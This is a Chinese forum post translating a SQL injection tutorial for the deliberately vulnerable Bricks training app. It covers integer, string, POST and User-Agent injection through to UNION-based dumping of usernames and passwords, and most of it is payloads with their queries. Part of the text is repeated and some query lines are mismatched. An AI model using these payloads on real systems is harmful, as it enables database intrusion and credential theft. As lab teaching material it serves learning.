-
-
[旧帖] [翻译]高级sql注入(整理,全) 0.00雪花
-
发表于: 2015-11-9 21:53 2360
-
之前有大神发过基于整数的,这次我把全部都发上来,送给大家,附件中我上传上了完整版本word文档还有原文。本人英语水平有限,有的地方翻译的可能会不太合适,还望见谅!
最后,希望不要喷,最起码是一下午的成果。。。。。。
高级SQL注入-基于整数URL: bricks/content-1/index.php?id=0
SQL Query: SELECT * FROM users WHERE idusers=0 LIMIT 1
这里的id参数允许浏览器通过URL输入,改变输入的值将会出现不同的输出
URL: bricks/content-1/index.php?id=1
SQL Query: SELECT * FROM users WHERE idusers=1 LIMIT 1
这次输入使得网页显示了另外一个用户的信息,自从参数id允许输入以后,就变成了一个有趣的测试的开始,首先我们应该测试它是否存在sql注入漏洞
URL: bricks/content-1/index.php?id=0'
SQL Query: SELECT * FROM users WHERE idusers=0' LIMIT 1
页面将不会有输出,但是会显示一些错误的信息。这意味着id参数存在着注入点,并且可以插入我们的注入语句,然后干扰查询内容。注入代码必须用一种不打乱完整的SQL语句方式去插入。下一步是利用精心构造的SQL命令去验证漏洞是否存在。
URL: bricks/content-1/index.php?id=0 and 1=1
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=1 LIMIT 1
现在页面不显示任何错误。这是因为添加的SQL语句返回的是一个True值。那么如果添加的语句返回的不是一个true值会怎么样呢?
URL: bricks/content-1/index.php?id=0 and 1=2
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 LIMIT 1
由于注入的代码总是返回false,Web的页面将不再显示任何内容,只会显示错误的信息告诉用户是不错在的。这就证明注入的语句在id这个参数上确实可以执行的。
注入的代码可以进一步的修改而得以完成更高级的功能,包括获取、删除、改变一些重要的信息。然而,在目前阶段,没有清晰的关于数据库的知识,版本,表,列等信息。所以,这些细节信息必须首先枚举出来。枚举出当前数据库列数是相对比较简单的一项工作。
URL: bricks/content-1/index.php?id=0 order by 1
SQL Query: SELECT * FROM users WHERE idusers=0 order by 1 LIMIT 1
页面将不会显示任何问题,也不会出现错误信息。
URL: bricks/content-1/index.php?id=0 order by 2
SQL Query: SELECT * FROM users WHERE idusers=0 order by 2 LIMIT 1
页面显示的内不再有任何问题和错误。所以这证明至少存在有2个列。
URL: bricks/content-1/index.php?id=0 order by 3
SQL Query: SELECT * FROM users WHERE idusers=0 order by 3 LIMIT 1
这个页面显示的内容仍然没有任何问题和错误。所以它至少有三个列。
这个过程中不断增加 order by的值直到页面出现一些显示的变化之后。
URL: bricks/content-1/index.php?id=0 order by 8
SQL Query: SELECT * FROM users WHERE idusers=0 order by 8 LIMIT 1
这个页面显示的内容仍然没有任何问题和错误。所以它至少有八个列。
URL: bricks/content-1/index.php?id=0 order by 9
SQL Query: SELECT * FROM users WHERE idusers=0 order by 9 LIMIT 1
这次页面出现了一些错误,所以第九列是不存在的。这将确认这个表只有8列。
union select语句将会找到这8个列中哪一个会产生漏洞。
URL: bricks/content-1/index.php?id=0 UNION SELECT 1,2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1
这次页面没有出现任何特殊的信息也非正常的页面。这是因为页面只返回了查询结果的第一行。如果是这种情况,就需要对注入代码进行小小的修改使第二行显示完整。这有很多方法可以做到。
URL: bricks/content-1/index.php?id=99999 UNION SELECT 1,2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=99999 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1
在这,假定数据库的存储用户信息的数量是小于99999。因为没有ID是99999的用户,这第一行明显的变成无效的了,而第二行将变得有效。于是便将改变输出到了页面上显示出来。
URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1
尽可能的使第一部分命令失效。
这两种情况都会显示一些数字插入在真实的用户信息中。这些数字相对应的列就存在漏洞。
URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT user(),2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT user(),2,3,4,5,6,7,8LIMIT 1
第一个数字被替换成当前数据库的用户名,就是root@localhost
URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT version(),2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT version(),2,3,4,5,6,7,8LIMIT 1
这将帮助我们获得数据库的版本。
URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT database(),2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT database(),2,3,4,5,6,7,8 LIMIT 1
当前数据库的名字将会被显示-bricks。现在必须枚举出当前数据库的表。
URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT table_name,2,3,4,5,6,7,8 from information_schema.tables where table_schema=’bricks’
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECTtable_name,2,3,4,5,6,7,8 from information_schema.tables where table_schema=’bricks’ LIMIT 1
因为只有一个表在bricks数据库中,所以它的信息会被显示出来。下一步是获取user表的列。
URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT column_name,2,3,4,5,6,7,8 from information_schema.columns where table_schema=’bricks’ and table_name=’users’ LIMIT 0,1 — –
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECTtable_name,2,3,4,5,6,7,8 from information_schema.tables where table_schema=’bricks’ andtable_name=’users’ LIMIT 0,1 — – LIMIT 1
idusers的名字在users表的第一列。这两个LIMIT函数看起来在执行的查询语句中,这将会出现冲突而导致结果出现语法错误。为了避开这些问题,应紧接在注入的LIMIT函数后面,加入–注释,注释掉查询语句的其余部分。
URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT column_name,2,3,4,5,6,7,8 from information_schema.columns where table_schema=’bricks’ and table_name=’users’ LIMIT 1,1 — –
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECTcolumn_name,2,3,4,5,6,7,8 from information_schema.columns where table_schema=’bricks’ andtable_name=’users’ LIMIT 1,1 — – LIMIT 1
name 是 users 表的第二列。
这个过程需要持续到LIMIT 7,1(作为一个有8列的表,它的编号开始为0)。在这个过程的最后,所有的列明将会获取到下面这些:idusers, name, email, password, ua, ref, host, lang。用户名列和密码列将会是比较有趣的列。所以下一步需要通过注入语句获取到这些列里面的数据。
URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 0,1 — –
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 0,1 — – LIMIT 1
这将获得用户表里第一个用户和密码。CHAR(32)代表一个空格,这样放在用户和密码之间使其很容易去区分。
URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 1,1 — –
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 1,1 — – LIMIT 1
获得用户表里第二个用户和密码。这个过程持续到获取表里所有的用户名和密码。
</The End>
高级SQL注入-基于字符串
URL: bricks/content-2/index.php?user=harry
SQL Query: SELECT * FROM users WHERE name='harry'
这里的user参数可以接受浏览器通过URL输入,改变输入的值将会有不同的输出。
URL: bricks/content-2/index.php?user=harry'
SQL Query: SELECT * FROM users WHERE name='harry''
这次网页只显示了一些错误信息,这就意味着这个user参数存在sql注入漏洞,并且我们可以通过输入来影响它的执行,我们的注入语句必须要以一种不打断完整的sql语句的方式去输入,接下来我们就要用一种精心构造的sql命令去验证它存在注入漏洞。
URL: bricks/content-2/index.php?user=harry' and 1='1
SQL Query: SELECT * FROM users WHERE name='harry' AND 1='1'
这次的网页没有显示错误信息,这是因为sql语句返回了一个true值,但是如果没有返回true值会有什么影响?
URL: bricks/content-2/index.php?user=harry' and 1='2
SQL Query: SELECT * FROM users WHERE name='harry' AND 1='2'
当我们的注入语句是一个false值时,网页就只会显示用户不存在的错误信息了,这样就证明了通过user参数确实可以执行我们的注入代码,也就是说存在sql注入漏洞
注入的代码可以进一步修改,以执行更高级的功能,如获取、更改或者删除一些重要的信息,然而,现阶段,我们并没有清楚的知道一些关于数据库类型,版本,数据表心及其字段等等的一些信息,所以,这些信息必须先枚举出来了。首先我们来查找数据库中存在多少列,因为这个相对来说是比较简单的。
URL: bricks/content-2/index.php?user=harry' order by 1 --+
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 1 -- '
这个页面的内容显示没有任何问题并且没有任何的错误信息
URL: bricks/content-2/index.php?user=harry' order by 2 --+
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 2 -- '
这个页面的内容显示也没有任何的问题,所以可以断定至少存在两个列
URL: bricks/content-2/index.php?user=harry' order by 3 --+
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 3 -- '
这个页面同样是没有问题的,所以可以断定至少存在3个列
这个过程必须要重复增加值,直到页面显示发生一些改变。
。。。。
过程省略
。。。。
过程省略
。。。。
URL: bricks/content-2/index.php?user=harry' order by 8 --+
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 8 -- '
这个页面一样没有错误,所以可以说明至少存在8个列】
URL: bricks/content-2/index.php?user=harry' order by 9 --+
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 9 -- '
这一次页面显示了一些错误信息,所以说明第9列是不存在的,也就说明这个数据库只存在8个列
一个联合查询语句必须相应的去寻找这8个列哪个列存在漏洞
URL: http://localhost/demo/bricks/content-2/index.php?user=harry' UNION SELECT 1,2,3,4,5,6,7,8 --+
SQL Query: SELECT * FROM users WHERE name='harry' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8 -- '
这次页面没有显示一些特殊的信息也不是正常页面,这是因为该页面显示的是第一个结果,因为它只处理结果的第一行。如果这样的话,注入的代码就需要稍微修改一下,以使它显示第二行的结果,为个达到这个目的,我们有很多方法可以去尝试。
URL: bricks/content-2/index.php ?user=harry' UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1,1 --+
SQL Query: SELECT * FROM users WHERE name='harry' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8 LIMIT 1, 1 -- '
这次,页面显示了一些数字代替了用户的实际信息,这些对应了那些存在漏洞的列
URL: http://localhost/demo/bricks/content-2/index.php ?user=harry' UNION SELECT database(),version(),user(),4,5,6,7,8 LIMIT 1,1 --+
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT user(),2,3,4,5,6,7,8 LIMIT 1
数字1被当前数据库的名字给替代,显示为bricks,数字2被当前数据库的版本信息所替代,显示为5.5.9-log,数字3被当前数据库的用户名所替代,显示为root@localhost
现在,我们就要去枚举当前数据库的表了。
URL: bricks/content-2/index.php ?user=harry' UNION SELECT group_concat(table_name,0x0a),2,3,4,5,6,7,8 from information_schema.tables where table_schema=database() LIMIT 1,1 --+
SQL Query: SELECT * FROM users WHERE name='harry' UNION SELECT group_concat(TABLE_NAME,0x0a), 2, 3, 4, 5, 6, 7, 8 FROM information_schema.tables WHERE table_schema=database() LIMIT 1, 1 -- '
从显示的信息可以得知bricks数据库中只存在一个表,接下来的任务就是去寻找数据表users中的列
URL: bricks/content-2/index.php ?user=harry' UNION SELECT group_concat(column_name,0x0a),2,3,4,5,6,7,8 from information_schema.columns where table_name='users' LIMIT 1,1 --+
SQL Query: SELECT * FROM users WHERE name='harry' UNION SELECT group_concat(COLUMN_NAME,0x0a), 2, 3, 4, 5, 6, 7, 8 FROM information_schema.columns WHERE TABLE_NAME='users' LIMIT 1, 1 -- '
以后我们使用group_concat()函数去枚举,直到所有的列都被列举出来,最终我们获得了所有列的名字:idusers,name,email,password,ua,ref,host,lang。其中name和password是我们最感兴趣的列,因此,下一个注入的代码应该是将这两个列中的数据都列举出来,0x0a表示一个空格,放在中间可以用来分开name和password,以方便我们区分。
URL: bricks/content-2/index.php ?user=harry' UNION SELECT group_concat(name,0x0a,password),2,3,4,5,6,7,8 from users LIMIT 1,1 --+
SQL Query: bricks/content-2/index.php ?USER=harry' UNION SELECT group_concat(name,0x0a,password), 2, 3, 4, 5, 6, 7, 8 FROM users LIMIT 1, 1 --+
这次将会显示所有users表中的name和password列中的所有内容,0x0a是一个空格,可以方便我们区分用户名和密码。
</The End>
高级SQL注入-通过POST数据
URL: bricks/content-3/index.php
POST Data: username=tom&submit=Submit
SQL Query: SELECT * FROM users WHERE name='tom'
这里的username参数允许通过POST数据输入,改变输入将会显示不同的内容。
POST Data: username=tom'&submit=Submit
SQL Query: SELECT * FROM users WHERE name='tom''
这次只显示了一些错误信息,并未显示其他内容,这就意味着username存在sql注入,并且我们可以通过注入代码去影响它的执行,但是我们的注入语句要以一种不打破完整sql语句的方式插入,接下来,我们就用一种精心构造的sql命令去进一步验证漏洞是否存在。
POST Data: username=tom' and 1='1&submit=Submit
SQL Query: SELECT * FROM users WHERE name='harry' AND 1='1'
这次页面没有显示一些错误信息,这是因为添加的代码返回了一个true值,但是如果没有返回true会有什么影响呢?
POST Data: username=tom' and 1='2&submit=Submit
SQL Query: SELECT * FROM users WHERE name='harry' AND 1='2'
当我们注入的语句返回了一个false值时,网页就会显示用户不存在的错误信息,而不会有其他显示,这就证明了我们通过username参数注入的代码被执行了。
注入代码可以进一步修改,以便用来执行更高级的功能,例如获得,修改或者删除一些重要信息,但是目前我们并没有清楚的知道关于数据库类型,数据库版本,数据表以及数据表的字段等等的信息,所以我们首先要枚举出来这些信息,寻找当前数据库存在多少列相比较而言,还是比较简单的,所以我们接下来要构建注入语句来获取当前数据库中有多少列。
POST Data: username=tom' order by 1 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 1 -- +'
这次页面显示内容没有问题,也没有错误信息。
POST Data: username=tom' order by 2 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 2 -- +'
这次页面显示内容也没有问题,也没有显示错误信息。可以证明,当前数据库至少存在两个列
POST Data: username=tom' order by 3 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 3 -- +'
这次页面显示同样没有问题,可以证明至少存在3个列。
这个过程必须重复增加值,直到页面显示发生一些变化。
。。。。。。
过程省略
。。。。。。
过程省略
POST Data: username=tom' order by 8 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 8 -- +'
页面显示还是没有问题的,也就是说至少存在8个列
POST Data: username=tom' order by 9 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 9 -- +'
这次显示了一些错误信息,说明第9列是不存在的,所以我们可以断定存在8个列。
一个联合查询必须对应的查找这8个列中哪个列存在漏洞。
POST Data: username=harry' UNION SELECT 1,2,3,4,5,6,7,8 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='harry' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8 -- +'
这一次,页面没有显示一些特殊信息也没有显示正常显示,这是因为页面只显示了第一行的结果,因为它只处理结果的第一行,如果这样的话,我们的注入代码就要做一些小的改动,以使第二行有效,为了达到这个目的,我们有很多方法可以去尝试。
POST Data: username=harry' UNION SELECT 1,2,3,4,5,6,7,8 limit 1,1 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='harry' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8 LIMIT 1, 1 -- '
这次,页面显示了一些数字,而不是实际的用户信息,这些数字所对应的就是那些存在漏洞的列。
POST Data: username=harry' UNION SELECT database(),version(),user(),4,5,6,7,8 limit 1,1 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='harry' UNION SELECT database(), version(), user(), 4, 5, 6, 7, 8 LIMIT 1, 1 -- +'
数字1被当前的据库名所代替,显示为bricks,数字2被当前数据库的版本信息所代替,显示为5.5.9-log,数字3被当前数据库的用户名所代替,显示为root@localhost。现在我们就要去枚举当前数据库中的数据表了。
POST Data: username=tom' UNION SELECT group_concat(table_name,0x0a),2,3,4,5,6,7,8 from information_schema.tables where table_schema=database() LIMIT 1,1 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='tom' UNION SELECT group_concat(TABLE_NAME,0x0a), 2, 3, 4, 5, 6, 7, 8 FROM information_schema.tables WHERE table_schema=database() LIMIT 1, 1 -- +'
信息显示只有一个数据表users存在于bricks数据库中,下面我们寻找users中的列
POST Data: username=tom' UNION SELECT group_concat(column_name,0x0a),2,3,4,5,6,7,8 from information_schema.columns where table_name='users' LIMIT 1,1 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='tom' UNION SELECT group_concat(COLUMN_NAME,0x0a), 2, 3, 4, 5, 6, 7, 8 FROM information_schema.columns WHERE TABLE_NAME='users' LIMIT 1, 1 -- +'
下面我们使用group_concat()函数,直到所有的列都被列举出来,最终我们获得了所有列的名字:idusers,name,email,password,ua,ref,host,lang。其中name和password是我们最感兴趣的列,因此,下一个注入的代码应该是将这两个列中的数据都列举出来,0x0a表示一个空格,放在中间可以用来分开name和password,以方便我们区分。
POST Data: username=tom' UNION SELECT group_concat(name,0x0a,password),2,3,4,5,6,7,8 from users LIMIT 1,1 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='tom' UNION SELECT group_concat(name,0x0a,password), 2, 3, 4, 5, 6, 7, 8 FROM users LIMIT 1, 1 -- +'
这次将会显示所有users表中的name和password列中的所有内容,0x0a是一个空格,可以方便我们区分用户名和密码。
</The End>
高级SQL注入-通过USER-AGENT
URL: bricks/content-4/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:15.0) Gecko/20100101 Firefox/15.0
SQL Query: SELECT * FROM users WHERE ua='Mozilla/5.0 (Windows NT 6.2; rv:15.0) Gecko/20100101 Firefox/15.0'
这里的user-agent参数接受来自浏览器客户端的输入,通常情况下,这个值是无法修改的,然而通过Mantar,burp suite或者ZAP等工具修改此参数以便注入测试。
URL: bricks/content-4/index.php
User-Agent: Brick_Browser
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser'
在这里,user-agent参数被修改,该页面返回一个有效的结果。
User-Agent: Brick_Browser'
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser''
这次网页只显示了一些错误信息,这就意味着这个user-agent参数存在sql注入漏洞,并且我们可以通过输入来影响它的执行,我们的注入语句必须要以一种不打断完整的sql语句的方式去输入,接下来我们就要用一种精心构造的sql命令去验证它存在注入漏洞。
User-Agent: Brick_Browser' and 1='1
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' AND 1='1'
这次页面没有显示一些错误信息,这是因为添加的代码返回了一个true值,但是如果没有返回true会有什么影响呢?
User-Agent: Brick_Browser' and 1='2
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' AND 1='2'
当我们注入的语句返回了一个false值时,网页就会显示用户不存在的错误信息,而不会有其他显示,这就证明了我们通过user-agent参数注入的代码被执行了。
注入代码可以进一步修改,以便用来执行更高级的功能,例如获得,修改或者删除一些重要信息,但是目前我们并没有清楚的知道关于数据库类型,数据库版本,数据表以及数据表的字段等等的信息,所以我们首先要枚举出来这些信息,寻找当前数据库存在多少列相比较而言,还是比较简单的,所以我们接下来要构建注入语句来获取当前数据库中有多少列。
User-Agent: username=tom' order by 1 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' ORDER BY 1 -- +'
这次页面显示内容没有问题,也没有错误信息。
User-Agent: Brick_Browser' order by 2 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' ORDER BY 2 -- +'
User-Agent: Brick_Browser' order by 3 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' ORDER BY 3 -- +'
这次页面显示同样没有问题,可以证明至少存在3个列。
这个过程必须重复增加值,直到页面显示发生一些变化。
。。。。。。
过程省略
。。。。。。
过程省略
User-Agent: Brick_Browser' order by 8 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' ORDER BY 8 -- +'
页面显示还是没有问题的,也就是说至少存在8个列
User-Agent: Brick_Browser' order by 9 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' ORDER BY 9 -- +'
这次页面显示了一些错误信息,所以第9列是不存在的,就也说明存在8列。
一个联合查询必须对应的查找这8个列中哪个列存在漏洞。
User-Agent: Brick_Browser' UNION SELECT 1,2,3,4,5,6,7,8 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8 -- +'
这一次,页面没有显示一些特殊信息也没有显示正常显示,这是因为页面只显示了第一行的结果,因为它只处理结果的第一行,如果这样的话,我们的注入代码就要做一些小的改动,以使第二行有效,为了达到这个目的,我们有很多方法可以去尝试。
User-Agent:Brick_Browser' UNION SELECT 1,2,3,4,5,6,7,8 limit 1,1 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8 LIMIT 1, 1 -- +'
这次,页面显示了一些数字,而不是实际的用户信息,这些数字所对应的就是那些存在漏洞的列。
User-Agent: Brick_Browser' UNION SELECT database(),version(),user(),4,5,6,7,8 limit 1,1 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' UNION SELECT database(), version(), 3, 4, 5, 6, 7, 8 LIMIT 1, 1 -- +'
数字1被当前的据库名所代替,显示为bricks,数字2被当前数据库的版本信息所代替,显示为5.5.9-log。
User-Agent: Brick_Browser' UNION SELECT user(),2,3,4,5,6,7,8 limit 1,1 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' UNION SELECT user(), 2, 3, 4, 5, 6, 7, 8 LIMIT 1, 1 -- +'
数字1被当前数据库的用户名所替代,显示为root@localhost
现在就要开始枚举当前数据库中的表了
User-Agent: Brick_Browser' UNION SELECT group_concat(table_name,0x0a),2,3,4,5,6,7,8 from information_schema.tables where table_schema=database() LIMIT 1,1 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' UNION SELECT group_concat(TABLE_NAME,0x0a), 2, 3, 4, 5, 6, 7, 8 FROM information_schema.tables WHERE table_schema=database() LIMIT 1, 1 -- +'
通过信息我们可以得知,此数据库中只有一个表users,我们的下一个目标就是要找出users中的列
User-Agent: Brick_Browser' UNION SELECT group_concat(column_name,0x0a),2,3,4,5,6,7,8 from information_schema.columns where table_name='users' LIMIT 1, 1 -- +
SQL Query: Brick_Browser' UNION SELECT group_concat(column_name,0x0a),2,3,4,5,6,7,8 from information_schema.columns where table_name='users' LIMIT 1, 1 -- +
下面我们使用group_concat()函数,直到所有的列都被列举出来,最终我们获得了所有列的名字:idusers,name,email,password,ua,ref,host,lang。其中name和password是我们最感兴趣的列,因此,下一个注入的代码应该是将这两个列中的数据都列举出来,0x0a表示一个空格,放在中间可以用来分开name和password,以方便我们区分。
User-Agent: Brick_Browser' UNION SELECT group_concat(name,0x0a,password),2,3,4,5,6,7,8 from users LIMIT 1,1 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' UNION SELECT group_concat(name,0x0a,password), 2, 3, 4, 5, 6, 7, 8 FROM users LIMIT 1, 1 -- +'
这次操作将会显示所有users表中的name和password列中的所有内容,0x0a是一个空格,可以方便我们区分用户名和密码。
</The End>
原文地址:http://sechow.com/bricks/docs/content-pages.html
转载请注明出处及作者,谢谢!
最后,希望不要喷,最起码是一下午的成果。。。。。。
高级SQL注入-基于整数URL: bricks/content-1/index.php?id=0
SQL Query: SELECT * FROM users WHERE idusers=0 LIMIT 1
这里的id参数允许浏览器通过URL输入,改变输入的值将会出现不同的输出
URL: bricks/content-1/index.php?id=1
SQL Query: SELECT * FROM users WHERE idusers=1 LIMIT 1
这次输入使得网页显示了另外一个用户的信息,自从参数id允许输入以后,就变成了一个有趣的测试的开始,首先我们应该测试它是否存在sql注入漏洞
URL: bricks/content-1/index.php?id=0'
SQL Query: SELECT * FROM users WHERE idusers=0' LIMIT 1
页面将不会有输出,但是会显示一些错误的信息。这意味着id参数存在着注入点,并且可以插入我们的注入语句,然后干扰查询内容。注入代码必须用一种不打乱完整的SQL语句方式去插入。下一步是利用精心构造的SQL命令去验证漏洞是否存在。
URL: bricks/content-1/index.php?id=0 and 1=1
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=1 LIMIT 1
现在页面不显示任何错误。这是因为添加的SQL语句返回的是一个True值。那么如果添加的语句返回的不是一个true值会怎么样呢?
URL: bricks/content-1/index.php?id=0 and 1=2
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 LIMIT 1
由于注入的代码总是返回false,Web的页面将不再显示任何内容,只会显示错误的信息告诉用户是不错在的。这就证明注入的语句在id这个参数上确实可以执行的。
注入的代码可以进一步的修改而得以完成更高级的功能,包括获取、删除、改变一些重要的信息。然而,在目前阶段,没有清晰的关于数据库的知识,版本,表,列等信息。所以,这些细节信息必须首先枚举出来。枚举出当前数据库列数是相对比较简单的一项工作。
URL: bricks/content-1/index.php?id=0 order by 1
SQL Query: SELECT * FROM users WHERE idusers=0 order by 1 LIMIT 1
页面将不会显示任何问题,也不会出现错误信息。
URL: bricks/content-1/index.php?id=0 order by 2
SQL Query: SELECT * FROM users WHERE idusers=0 order by 2 LIMIT 1
页面显示的内不再有任何问题和错误。所以这证明至少存在有2个列。
URL: bricks/content-1/index.php?id=0 order by 3
SQL Query: SELECT * FROM users WHERE idusers=0 order by 3 LIMIT 1
这个页面显示的内容仍然没有任何问题和错误。所以它至少有三个列。
这个过程中不断增加 order by的值直到页面出现一些显示的变化之后。
URL: bricks/content-1/index.php?id=0 order by 8
SQL Query: SELECT * FROM users WHERE idusers=0 order by 8 LIMIT 1
这个页面显示的内容仍然没有任何问题和错误。所以它至少有八个列。
URL: bricks/content-1/index.php?id=0 order by 9
SQL Query: SELECT * FROM users WHERE idusers=0 order by 9 LIMIT 1
这次页面出现了一些错误,所以第九列是不存在的。这将确认这个表只有8列。
union select语句将会找到这8个列中哪一个会产生漏洞。
URL: bricks/content-1/index.php?id=0 UNION SELECT 1,2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1
这次页面没有出现任何特殊的信息也非正常的页面。这是因为页面只返回了查询结果的第一行。如果是这种情况,就需要对注入代码进行小小的修改使第二行显示完整。这有很多方法可以做到。
URL: bricks/content-1/index.php?id=99999 UNION SELECT 1,2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=99999 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1
在这,假定数据库的存储用户信息的数量是小于99999。因为没有ID是99999的用户,这第一行明显的变成无效的了,而第二行将变得有效。于是便将改变输出到了页面上显示出来。
URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1
尽可能的使第一部分命令失效。
这两种情况都会显示一些数字插入在真实的用户信息中。这些数字相对应的列就存在漏洞。
URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT user(),2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT user(),2,3,4,5,6,7,8LIMIT 1
第一个数字被替换成当前数据库的用户名,就是root@localhost
URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT version(),2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT version(),2,3,4,5,6,7,8LIMIT 1
这将帮助我们获得数据库的版本。
URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT database(),2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT database(),2,3,4,5,6,7,8 LIMIT 1
当前数据库的名字将会被显示-bricks。现在必须枚举出当前数据库的表。
URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT table_name,2,3,4,5,6,7,8 from information_schema.tables where table_schema=’bricks’
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECTtable_name,2,3,4,5,6,7,8 from information_schema.tables where table_schema=’bricks’ LIMIT 1
因为只有一个表在bricks数据库中,所以它的信息会被显示出来。下一步是获取user表的列。
URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT column_name,2,3,4,5,6,7,8 from information_schema.columns where table_schema=’bricks’ and table_name=’users’ LIMIT 0,1 — –
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECTtable_name,2,3,4,5,6,7,8 from information_schema.tables where table_schema=’bricks’ andtable_name=’users’ LIMIT 0,1 — – LIMIT 1
idusers的名字在users表的第一列。这两个LIMIT函数看起来在执行的查询语句中,这将会出现冲突而导致结果出现语法错误。为了避开这些问题,应紧接在注入的LIMIT函数后面,加入–注释,注释掉查询语句的其余部分。
URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT column_name,2,3,4,5,6,7,8 from information_schema.columns where table_schema=’bricks’ and table_name=’users’ LIMIT 1,1 — –
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECTcolumn_name,2,3,4,5,6,7,8 from information_schema.columns where table_schema=’bricks’ andtable_name=’users’ LIMIT 1,1 — – LIMIT 1
name 是 users 表的第二列。
这个过程需要持续到LIMIT 7,1(作为一个有8列的表,它的编号开始为0)。在这个过程的最后,所有的列明将会获取到下面这些:idusers, name, email, password, ua, ref, host, lang。用户名列和密码列将会是比较有趣的列。所以下一步需要通过注入语句获取到这些列里面的数据。
